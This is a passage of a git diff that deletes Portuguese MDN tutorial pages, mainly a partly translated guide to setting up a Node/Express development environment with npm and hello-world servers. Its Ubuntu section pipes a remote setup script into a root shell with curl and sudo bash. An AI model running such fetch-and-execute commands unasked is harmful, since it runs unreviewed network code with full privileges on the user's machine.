-<p>A general knowledge of programming concepts and <a href="/en-US/docs/Glossary/Python">Python</a> is recommended, but is not essential to understanding the core concepts.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Python is one of the easiest programming languages for novices to read and understand. That said, if you want to understand this module better, there are numerous free books and tutorials available on the Internet to help you out. (new programmers might want to check out the <a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers">Python for Non Programmers</a> page on the python.org wiki).</p>
-</div>
-
-<h2 id="Guias">Guias</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></dt>
- <dd>In this first Django article we answer the question "What is Django?" and give you an overview of what makes this web framework special. We'll outline the main features, including some advanced functionality that we won't have time to cover in detail in this module. We'll also show you some of the main building blocks of a Django application, to give you an idea of what it can do before you set it up and start playing.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></dt>
- <dd>Now that you know what Django is for, we'll show you how to setup and test a Django development environment on Windows, Linux (Ubuntu), and Mac OS X — whatever common operating system you are using, this article should give you what you need to be able to start developing Django apps.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></dt>
- <dd>The first article in our practical tutorial series explains what you'll learn, and provides an overview of the "local library" — an example website we'll be working through and evolving in subsequent articles.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></dt>
- <dd>This article shows how you can create a "skeleton" website project as a basis, which you can then go on to populate with site-specific settings, urls, models, views, and templates.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></dt>
- <dd>This article shows how to define models for the <em>LocalLibrary</em> website — models represent the data structures we want to store our app's data in, and also allow Django to store data in a database for us (and modify it later on). It explains what a model is, how it is declared, and some of the main field types. It also briefly shows a few of the main ways you can access model data.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></dt>
- <dd>Now that we've created models for the <em>LocalLibrary </em>website, we'll use the Django Admin site to add some "real" book data. First we'll show you how to register the models with the admin site, then we'll show you how to login and create some data. At the end we show some ways in which you can further improve the presentation of the admin site.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></dt>
- <dd>We're now ready to add the code to display our first full page — a home page for the <em>LocalLibrary</em> that shows how many records we have of each model type and provides sidebar navigation links to our other pages. Along the way we'll gain practical experience in writing basic URL maps and views, getting records from the database, and using templates.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></dt>
- <dd>This tutorial extends our <em>LocalLibrary</em> website, adding list and detail pages for books and authors. Here we'll learn about generic class-based views, and show how they can reduce the amount of code you have to write for common use cases. We'll also go into URL handling in greater detail, showing how to perform basic pattern matching.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></dt>
- <dd>This tutorial extends our <em>LocalLibrary</em> website, adding a session-based visit-counter to the home page. This is a relatively simple example, but it does show how you can use the session framework to provide persistent behaviour for anonymous users in your own sites.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></dt>
- <dd>In this tutorial we'll show you how to allow users to login to your site with their own accounts, and how to control what they can do and see based on whether or not they are logged in and their <em>permissions</em>. As part of this demonstration we'll extend the <em>LocalLibrary</em> website, adding login and logout pages, and user- and staff-specific pages for viewing books that have been borrowed.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></dt>
- <dd>In this tutorial we'll show you how to work with <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a> in Django, and in particular the easiest way to write forms to create, update, and delete model instances. As part of this demonstration we'll extend the <em>LocalLibrary</em> website so that librarians can renew books, and create, update, and delete authors using our own forms (rather than using the admin application).</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></dt>
- <dd>As websites grow they become harder to test manually — not only is there more to test, but, as the interactions between components become more complex, a small change in one area can require many additional tests to verify its impact on other areas. One way to mitigate these problems is to write automated tests, which can easily and reliably be run every time you make a change. This tutorial shows how to automate <em>unit testing</em> of your website using Django's test framework.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></dt>
- <dd>Now you've created (and tested) an awesome <em>LocalLibrary</em> website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></dt>
- <dd>Protecting user data is an essential part of any website design. We previously explained some of the more common security threats in the article <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Web security</a> — this article provides a practical demonstration of how Django's in-built protections handle such threats.</dd>
-</dl>
-
-<h2 id="Avaliações">Avaliações</h2>
-
-<p>The following assessment will test your understanding of how to create a website using Django, as described in the guides listed above.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></dt>
- <dd>In this assessment you'll use some of the knowledge you've learned from this module to create your own blog.</dd>
-</dl>
diff --git a/files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html b/files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html
deleted file mode 100644
index 913c38f450..0000000000
--- a/files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html
+++ /dev/null
@@ -1,407 +0,0 @@
----
-title: Configurar um meio de desenvolvimento Node
-slug: Learn/Server-side/Express_Nodejs/development_environment
-tags:
- - Ambiente de desenvolvimento
- - Aprender
- - CodingScripting
- - Express
- - Introdução
- - Node
- - Nodo
- - Principiante
- - lado do servidor
- - nodejs
- - npm
-translation_of: Learn/Server-side/Express_Nodejs/development_environment
-original_slug: Learn/No-servidor/Express_Nodejs/Configurar_um_meio_de_desenvolvimento_Node
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</div>
-
-<p class="summary">Agora que sabe para que serve o <em>Express</em>, nós iremos mostrar-lhe como configurar e testar um ambiente de desenvolvimento <em>Node/Express </em>no Linux, (Ubuntu), macOS e Windows. Qualquer que seja o sistema operativo comum que esteja a utilizar, este artigo deverá fornecer-lhe o que precisa para começar a desenvolver aplicações <em>Express</em>.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>Know how to open a terminal / command line. Know how to install software packages on your development computer's operating system.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>To set up a development environment for Express (X.XX) on your computer.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Resumo_do_ambiente_de_desenvolvimento_Express">Resumo do ambiente de desenvolvimento <em>Express</em></h2>
-
-<p><em>Node</em> and <em>Express</em> make it very easy to set up your computer in order to start developing web applications. This section provides an overview of what tools are needed, explains some of the simplest methods for installing Node (and Express) on Ubuntu, macOS, and Windows, and shows how you can test your installation.</p>
-
-<h3 id="O_que_é_o_ambiente_de_desenvolvimento_Express">O que é o ambiente de desenvolvimento <em>Express?</em></h3>
-
-<p>The <em>Express</em> development environment includes an installation of <em>Nodejs</em>, the <em>NPM package manager</em>, and (optionally) the <em>Express Application Generator</em> on your local computer.</p>
-
-<p><em>Node</em> and the <em>NPM</em> package manager are installed together from prepared binary packages, installers, operating system package managers or from source (as shown in the following sections). <em>Express</em> is then installed by NPM as a dependency of your individual <em>Express</em> web applications (along with other libraries like template engines, database drivers, authentication middleware, middleware to serve static files, etc.)</p>
-
-<p><em>NPM</em> can also be used to (globally) install the <em>Express Application Generator</em>, a handy tool for creating skeleton <em>Express</em> web apps that follow the <a href="/en-US/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">MVC pattern</a>. The application generator is optional because you don't <em>need</em> to use this tool to create apps that use Express, or construct Express apps that have the same architectural layout or dependencies. We'll be using it though, because it makes getting started a lot easier, and promotes a modular application structure.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> Unlike for some other web frameworks, the development environment does not include a separate development web server. In <em>Node</em>/<em>Express</em> a web application creates and runs its own web server!</p>
-</div>
-
-<p>There are other peripheral tools that are part of a typical development environment, including <a href="/en-US/docs/Learn/Common_questions/Available_text_editors">text editors</a> or IDEs for editing code, and source control management tools like <a href="https://git-scm.com/">Git</a> for safely managing different versions of your code. We are assuming that you've already got these sorts of tools installed (in particular a text editor).</p>
-
-<h3 id="Quais_são_os_sistemas_operativos_suportados">Quais são os sistemas operativos suportados?</h3>
-
-<p><em>Node</em> can be run on Windows, macOS, many "flavours" of Linux, Docker, etc. (there is a full list on the nodejs <a href="https://nodejs.org/en/download/">Downloads</a> page). Almost any personal computer should have the necessary performance to run Node during development. <em>Express</em> is run in a <em>Node</em> environment, and hence can run on any platform that runs <em>Node</em>.</p>
-
-<p>In this article we provide setup instructions for Windows, macOS, and Ubuntu Linux.</p>
-
-<h3 id="Que_versão_de_NodeExpress_deverei_utilizar">Que versão de <em>Node/Express</em> deverei utilizar?</h3>
-
-<p>There are many <a href="https://nodejs.org/en/blog/release/">releases of Node</a> — newer releases contain bug fixes, support for more recent versions of ECMAScript (JavaScript) standards, and improvements to the Node APIs. </p>
-
-<p>Generally you should use the most recent <em>LTS (long-term supported)</em> release as this will be more stable than the "current" release while still having relatively recent features (and is still being actively maintained). You should use the <em>Current</em> release if you need a feature that is not present in the LTS version.</p>
-
-<p>For <em>Express</em> you should always use the latest version.</p>
-
-<h3 id="E_as_bases_de_dados_e_outras_dependências">E as bases de dados e outras dependências?</h3>
-
-<p>Other dependencies, such as database drivers, template engines, authentication engines, etc. are part of the application, and are imported into the application environment using the NPM package manager.  We'll discuss them in later app-specific articles.</p>
-
-<h2 id="Instalação_de_Node">Instalação de <em>Node</em></h2>
-
-<p>In order to use <em>Express</em> you will first have to install <em>Nodejs</em> and the <a href="https://docs.npmjs.com/">Node Package Manager (NPM)</a> on your operating system. The following sections explain the easiest way to install the Long Term Supported (LTS) version of Nodejs on Ubuntu Linux 16.04, macOS, and Windows 10.</p>
-
-<div class="note">
-<p><strong>Dica:</strong> The sections below show the easiest way to install <em>Node</em> and <em>NPM</em> on our target OS platforms. If you're using another OS or just want to see some of the other approaches for the current platforms then see <a href="https://nodejs.org/en/download/package-manager/">Installing Node.js via package manager</a> (nodejs.org).</p>
-</div>
-
-<h3 id="macOS_e_Windows">macOS e Windows</h3>
-
-<p>Installing <em>Node</em> and <em>NPM</em> on Windows and macOS is straightforward because you can just use the provided installer:</p>
-
-<ol>
- <li>Download the required installer:
- <ol>
- <li>Go to <a href="https://nodejs.org/en/">https://nodejs.org/en/</a></li>
- <li>Select the button to download the LTS build that is "Recommended for most users".</li>
- </ol>
- </li>
- <li>Install Node by double-clicking on the downloaded file and following the installation prompts.</li>
-</ol>
-
-<h3 id="Ubuntu_16.04">Ubuntu 16.04</h3>
-
-<p>The easiest way to install the most recent LTS version of Node 6.x is to use the <a href="https://nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions">package manager</a> to get it from the Ubuntu <em>binary distributions</em> repository. This can be done very simply by running the following two commands on your terminal:</p>
-
-<pre class="brush: bash"><code>curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -
-sudo apt-get install -y nodejs</code>
-</pre>
-
-<div class="warning">
-<p><strong>Aviso:</strong> Don't install directly from the normal Ubuntu repositories because they contain very old versions of node.</p>
-</div>
-
-<ol>
-</ol>
-
-<h3 id="Testar_a_instalação_do_seu_Nodejs_e_NPM">Testar a instalação do seu Nodejs e NPM</h3>
-
-<p>The easiest way to test that node is installed is to run the "version" command in your terminal/command prompt and check that a version string is returned:</p>
-
-<pre class="brush: bash">&gt;node -v
-v8.11.3</pre>
-
-<p>The <em>Nodejs</em> package manager <em>NPM</em> should also have been installed, and can be tested in the same way:</p>
-
-<pre class="brush: bash">&gt;npm -v
-5.8.0</pre>
-
-<p>As a slightly more exciting test let's create a very basic "pure node" server that simply prints out "Hello World" in the browser when you visit the correct URL in your browser:</p>
-
-<ol>
- <li>Copy the following text into a file named <strong>hellonode.js</strong>. This uses pure <em>Node</em> features (nothing from Express) and some ES6 syntax:
-
- <pre class="brush: js">//Load HTTP module
-const http = require("http");
-<code>const hostname = '127.0.0.1';
-const port = 3000;
-
-//Create HTTP server and listen on port 3000 for requests
-const server = http.createServer((req, res) =&gt; {
-
-  //Set the response HTTP header with HTTP status and Content type
- res.statusCode = 200;
- res.setHeader('Content-Type', 'text/plain');
- res.end('Hello World\n');
-});
-
-//listen for request on port 3000, and as a callback function have the port listened on logged
-server.listen(port, hostname, () =&gt; {
- console.log(`Server running at http://${hostname}:${port}/`);
-});</code>
-
-</pre>
-
- <p>The code imports the "http" module and uses it to create a server (<code>createServer()</code>) that listens for HTTP requests on port 3000. The script then prints a message to the console about what browser URL you can use to test the server. The <code>createServer()</code> function takes as an argument a callback function that will be invoked when an HTTP request is received — this simply returns a response with an HTTP status code of 200 ("OK") and the plain text "Hello World".</p>
-
- <div class="note">
- <p><strong>Nota:</strong>  Don't worry if you don't understand exactly what this code is doing yet! We'll explain our code in greater detail once we start using Express!</p>
- </div>
- </li>
- <li>Start the server by navigating into the same directory as your <code>hellonode.js</code> file in your command prompt, and calling <code>node</code> along with the script name, like so:
- <pre class="brush: bash">&gt;node hellonode.js
-Server running at http://127.0.0.1:3000/
-</pre>
- </li>
- <li>Navigate to the URL <a href="http://127.0.0.1:3000">http://127.0.0.1:3000 </a>. If everything is working, the browser should simply display the string "Hello World".</li>
-</ol>
-
-<h2 id="Utilização_de_NPM">Utilização de NPM</h2>
-
-<p>Next to <em>Node</em> itself, <a href="https://docs.npmjs.com/">NPM</a> is the most important tool for working with<em> Node </em>applications. NPM is used to fetch any packages (JavaScript libraries) that an application needs for development, testing, and/or production, and may also be used to run tests and tools used in the development process. </p>
-
-<div class="note">
-<p><strong>Nota:</strong> From Node's perspective, <em>Express</em> is just another package that you need to install using NPM and then require in your own code.</p>
-</div>
-
-<p>You can manually use NPM to separately fetch each needed package. Typically we instead manage dependencies using a plain-text definition file named <a href="https://docs.npmjs.com/files/package.json">package.json</a>. This file lists all the dependencies for a specific JavaScript "package", including the package's name, version, description, initial file to execute, production dependencies, development dependencies, versions of <em>Node</em> it can work with, etc. The <strong>package.json</strong> file should contain everything NPM needs to fetch and run your application (if you were writing a reusable library you could use this definition to upload your package to the npm respository and make it available for other users).</p>
-
-<h3 id="Adicionar_dependências">Adicionar dependências</h3>
-
-<p>The following steps show how you can use NPM to download a package, save it into the project dependencies, and then require it in a Node application.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> Here we show the instructions to fetch and install the <em>Express</em> package. Later on we'll show how this package, and others, are already specified for us using the <em>Express Application Generator</em>. This section is provided because it is useful to understand how NPM works and what is being created by the application generator.</p>
-</div>
-
-<ol>
- <li>First create a directory for your new application and navigate into it:
- <pre class="brush: bash">mkdir myapp
-cd myapp</pre>
- </li>
- <li>Use the npm <code>init</code> command to create a <strong>package.json</strong> file for your application. This command prompts you for a number of things, including the name and version of your application and the name of the initial entry point file (by default this is <strong>index.js</strong>). For now, just accept the defaults:
- <pre class="brush: bash">npm init</pre>
-
- <p>If you display the <strong>package.json</strong> file (<code>cat package.json</code>), you will see the defaults that you accepted, ending with the license.</p>
-
- <pre class="brush: json">{
- "name": "myapp",
- "version": "1.0.0",
- "description": "",
- "main": "index.js",
- "scripts": {
- "test": "echo \"Error: no test specified\" &amp;&amp; exit 1"
- },
- "author": "",
- "license": "ISC"
-}
-</pre>
- </li>
- <li>Now install Express in the <code>myapp</code> directory and save it in the dependencies list of your package.json file</li>
- <li>
- <pre class="brush: bash">npm install express --save</pre>
-
- <p>The dependencies section of your <strong>package.json</strong> will now appear at the end of the <strong>package.json</strong> file and will include <em>Express</em>.</p>
-
- <pre class="brush: json">{
- "name": "myapp",
- "version": "1.0.0",
- "description": "",
- "main": "index.js",
- "scripts": {
- "test": "echo \"Error: no test specified\" &amp;&amp; exit 1"
- },
- "author": "",
- "license": "ISC",
-<strong> "dependencies": {
- "express": "^4.16.2"
- }</strong>
-}
-</pre>
- </li>
- <li>To use the library you call the <code>require()</code> function as shown below.
- <pre><code><strong>const express = require('express')</strong>
-const app = express();
-
-app.get('/', (req, res) =&gt; {
- res.send('Hello World!')
-});
-
-app.listen(</code>8000<code>, () =&gt; {
- console.log('Example app listening on port </code>8000<code>!')
-});</code>
-</pre>
-
- <p>This code shows a minimal "HelloWorld" Express web application. This imports the "express" module and uses it to create a server (<code>app</code>) that listens for HTTP requests on port 8000 and prints a message to the console explaining what browser URL you can use to test the server. The <code>app.get()</code> function only responds to HTTP <code>GET</code> requests with the specified URL path ('/'), in this case by calling a function to send our <em>Hello World!</em> message. <br>
- <br>
- Create a file named <strong>index.js</strong> in the root of the "myapp" application directory and give it the contents shown above.</p>
- </li>
- <li>You can start the server by calling node with the script in your command prompt:
- <pre class="brush: bash">&gt;node index.js
-Example app listening on port 8000
-</pre>
- </li>
- <li>Navigate to the URL (<a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>). If everything is working, the browser should simply display the string "Hello World!".</li>
-</ol>
-
-<h3 id="Dependências_de_desenvolvimento">Dependências de desenvolvimento</h3>
-
-<p>If a dependency is only used during development, you should instead save it as a "development dependency" (so that your package users don't have to install it in production). For example, to use the popular JavaScript Linting tool <a href="http://eslint.org/">eslint</a> you would call NPM as shown:</p>
-
-<pre class="brush: bash"><code>npm install eslint --save-dev</code></pre>
-
-<p>The following entry would then be added to your application's <strong>package.json</strong>:</p>
-
-<pre class="brush: js"> "devDependencies": {
- "eslint": "^4.12.1"
- }
-</pre>
-
-<div class="note">
-<p><strong>Nota:</strong> "<a href="https://en.wikipedia.org/wiki/Lint_(software)">Linters</a>" are tools that perform static analysis on software in order to recognise and report adherence/non-adherance to some set of coding best practice.</p>
-</div>
-
-<h3 id="Execução_de_tarefas">Execução de tarefas</h3>
-
-<p>In addition to defining and fetching dependencies you can also define <em>named</em> scripts in your <strong>package.json</strong> files and call NPM to execute them with the <a href="https://docs.npmjs.com/cli/run-script">run-script</a> command. This approach is commonly used to automate running tests and parts of the development or build toolchain (e.g., running tools to minify JavaScript, shrink images, LINT/analyse your code, etc).</p>
-
-<div class="note">
-<p><strong>Nota:</strong> Task runners like <a href="http://gulpjs.com/">Gulp</a> and <a href="http://gruntjs.com/">Grunt</a> can also be used to run tests and other external tools.</p>
-</div>
-
-<p>For example, to define a script to run the <em>eslint</em> development dependency that we specified in the previous section we might add the following script block to our <strong>package.json</strong> file (assuming that our application source is in a folder /src/js):</p>
-
-<pre class="brush: js">"scripts": {
- ...
- "lint": "eslint src/js"
-  ...
-}
-</pre>
-
-<p>To explain a little further, <code>eslint src/js</code> is a command that we could enter in our terminal/command line to run <code>eslint</code> on JavaScript files contained in the <code>src/js</code> directory inside our app directory. Including the above inside our app's package.json file provides a shortcut for this command — <code>lint</code>.</p>
-
-<p>We would then be able to run <em>eslint</em> using NPM by calling:</p>
-
-<pre class="brush: bash"><code>npm run-script lint
-# OR (using the alias)
-npm run lint</code>
-</pre>
-
-<p>This example may not look any shorter than the original command, but you can include much bigger commands inside your npm scripts, including chains of multiple commands. You could identify a single npm script that runs all your tests at once.</p>
-
-<h2 id="Instalar_o_Gerador_de_Aplicação_Express">Instalar o Gerador de Aplicação <em>Express</em></h2>
-
-<p>The <a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> tool generates an Express application "skeleton". Install the generator using NPM as shown (the <code>-g</code> flag installs the tool globally so that you can call it from anywhere):</p>
-
-<pre><code>npm install express-generator -g</code></pre>
-
-<p>To create an <em>Express</em> app named "helloworld" with the default settings, navigate to where you want to create it and run the app as shown:</p>
-
-<pre class="brush: bash">express helloworld</pre>
-
-<div class="note">
-<p><strong>Nota: </strong>You can also specify the template library to use and a number of other settings. Use the <code>help</code> command to see all the options:</p>
-
-<pre class="brush: bash">express --help
-</pre>
-
-<p> </p>
-</div>
-
-<p>NPM will create the new Express app in a sub folder of your current location, displaying build progress on the console. On completion, the tool will display the commands you need to enter to install the Node dependencies and start the app.</p>
-
-<div class="note">
-<p>The new app will have a <strong>package.json</strong> file in its root directory. You can open this to see what dependencies are installed, including Express and the template library Jade:</p>
-
-<pre class="brush: js">{
-  "name": "helloworld",
-  "version": "0.0.0",
-  "private": true,
-  "scripts": {
-    "start": "node ./bin/www"
-  },
-  "dependencies": {
-    "body-parser": "~1.18.2",
-    "cookie-parser": "~1.4.3",
-    "debug": "~2.6.9",
-    "express": "~4.15.5",
-    "jade": "~1.11.0",
-    "morgan": "~1.9.0",
-    "serve-favicon": "~2.4.5"
-  }
-}</pre>
-
-<p> </p>
-</div>
-
-<p>Install all the dependencies for the helloworld app using NPM as shown:</p>
-
-<pre class="brush: bash">cd helloworld
-npm install
-</pre>
-
-<p>Then run the app (the commands are slightly different for Windows and Linux/macOS), as shown below:</p>
-
-<pre class="brush: bash"># Run the helloworld on Windows
-SET DEBUG=helloworld:* &amp; npm start
-
-# Run helloworld on Linux/macOS
-DEBUG=helloworld:* npm start
-</pre>
-
-<p>The DEBUG command creates useful logging, resulting in an output like that shown below.</p>
-
-<pre class="brush: bash">&gt;SET DEBUG=helloworld:* &amp; npm start
-
-&gt; helloworld@0.0.0 start D:\Github\expresstests\helloworld
-&gt; node ./bin/www
-
-  helloworld:server Listening on port 3000 +0ms</pre>
-
-<p>Open a browser and navigate to <a href="http://127.0.0.1:3000/">http://127.0.0.1:3000/</a> to see the default Express welcome page.</p>
-
-<p><img alt="Express - Generated App Default Screen" src="https://mdn.mozillademos.org/files/14331/express_default_screen.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 675px;"></p>
-
-<p>We'll talk more about the generated app when we get to the article on generating a skeleton application.</p>
-
-<ul>
-</ul>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>You now have a Node development environment up and running on your computer that can be used for creating Express web applications. You've also seen how NPM can be used to import Express into an application, and also how you can create applications using the Express Application Generator tool and then run them.</p>
-
-<p>In the next article we start working through a tutorial to build a complete web application using this environment and associated tools.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="https://nodejs.org/en/download/">Downloads</a> page (nodejs.org)</li>
- <li><a href="https://nodejs.org/en/download/package-manager/">Installing Node.js via package manager</a> (nodejs.org)</li>
- <li><a href="http://expressjs.com/en/starter/installing.html">Installing Express</a> (expressjs.com)</li>
- <li><a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> (expressjs.com)</li>
-</ul>
-
-<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</p>
-
-<p> </p>
-
-<h2 id="Neste_módulop">Neste módulop</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
-</ul>
-
-<p> </p>
diff --git a/files/pt-pt/learn/server-side/express_nodejs/index.html b/files/pt-pt/learn/server-side/express_nodejs/index.html
deleted file mode 100644
index 73e8f51f35..0000000000
--- a/files/pt-pt/learn/server-side/express_nodejs/index.html
+++ /dev/null
@@ -1,77 +0,0 @@
----
-title: Framework da Web Express (Node.js/JavaScript)
-slug: Learn/Server-side/Express_Nodejs
-tags:
- - Aprender
- - CodingScripting
- - Express
- - Express.js
- - Introdução
- - JavaScript
- - Node
- - Nodo
- - Principiante
- - Programação no lado do servidor
- - node.js
-translation_of: Learn/Server-side/Express_Nodejs
-original_slug: Learn/No-servidor/Express_Nodejs
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">Express é uma das frameworks mais populares, escrita em JavaScript e hospedada dentro do próprio ambiente de execução node.js. Este módulo explica alguns dos benefícios chave desta framework, como configurar o seu ambiente de desenvolvimento e como realizar tarefas comuns de desenvolvimento da <em>web</em> e tarefas de implementação.</p>
-
-<h2 id="Pré-requisitos"><span class="short_text" id="result_box" lang="pt"><span>Pré-requisitos</span></span></h2>
-
-<p>Antes de iniciar este módulo, você precisará entender o que são os programas da web e do lado do servidor, idealmente lendo os tópicos no nosso módulo <a href="/pt-PT/docs/Learn/No-servidor/Primeiros_passos">Os primeiros passos de programação do sites da Web no lado do servidor</a>. Um conhecimento geral de conceitos de programação e JavaScript é altamente recomendado, mas não essencial para compreender os conceitos fundamentais.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: This website has many useful resources for learning JavaScript<em> in the context of client-side development</em>: <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>, <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript Basics</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> (learning). The core JavaScript language and concepts are the same for server-side development on Node.js and this material will be relevant. Node.js offers <a href="https://nodejs.org/dist/latest-v6.x/docs/api/">additional APIs</a> for supporting functionality that is useful in browserless environments, e.g. to create HTTP servers and access the file system, but does not support JavaScript APIs for working with the browser and DOM.</p>
-
-<p>This guide will provide some information about working with Node.js and Express, and there are numerous other excellent resources on the Internet and in books — some of these linked from <a href="http://stackoverflow.com/a/5511507/894359">How do I get started with Node.js</a> (StackOverflow) and <a href="https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?">What are the best resources for learning Node.js?</a> (Quora).</p>
-</div>
-
-<h2 id="Guias">Guias</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/No-servidor/Express_Nodejs/Introduction">Introdução a Express/Node</a></dt>
- <dd>In this first Express article we answer the questions "What is Node?" and "What is Express?" and give you an overview of what makes the Express web framework special. We'll outline the main features, and show you some of the main building blocks of an Express application (although at this point you won't yet have a development environment in which to test it).</dd>
- <dt><a href="/pt-PT/docs/Learn/No-servidor/Express_Nodejs/Configurar_um_meio_de_desenvolvimento_Node">Configurar um ambiente de desenvolvimento Node (Express)</a></dt>
- <dd>Now that you know what Express is for, we'll show you how to set up and test a Node/Express development environment on Windows, Linux (Ubuntu), and Mac OS X. Whatever common operating system you are using, this article should give you what you need to be able to start developing Express apps.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial de Express: O Website - Biblioteca Local</a></dt>
- <dd>The first article in our practical tutorial series explains what you'll learn, and provides an overview of the "local library" example website we'll be working through and evolving in subsequent articles.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial de Express</a><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website"> Parte 2: Criar um esqueleto de um website</a></dt>
- <dd>This article shows how you can create a "skeleton" website project, which you can then go on to populate with site-specific routes, templates/views, and databases.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial de Express</a><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website"> Parte </a><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">3: Usar uma Base de Dados (com Mongoose)</a></dt>
- <dd>This article briefly introduces databases for Node/Express. It then goes on to show how we can use <a href="http://mongoosejs.com/">Mongoose</a> to provide database access for the <em>LocalLibrary</em> website. It explains how object schema and models are declared, the main field types, and basic validation. It also briefly shows a few of the main ways you can access model data.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial de Express Parte 4: Rotas e controladores</a><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website"> </a></dt>
- <dd>In this tutorial we'll set up routes (URL handling code) with "dummy" handler functions for all the resource endpoints that we'll eventually need in the <em>LocalLibrary</em> website. On completion, we'll have a modular structure for our route handling code, that we can extend with real handler functions in the following articles. We'll also have a really good understanding of how to create modular routes using Express.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial de Express Parte</a><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data"> 5: Exibir dados da biblioteca</a></dt>
- <dd>We're now ready to add the pages that display the <em>LocalLibrary</em> website books and other data. The pages will include a home page that shows how many records we have of each model type, and list and detail pages for all of our models. Along the way we'll gain practical experience in getting records from the database, and using templates.</dd>
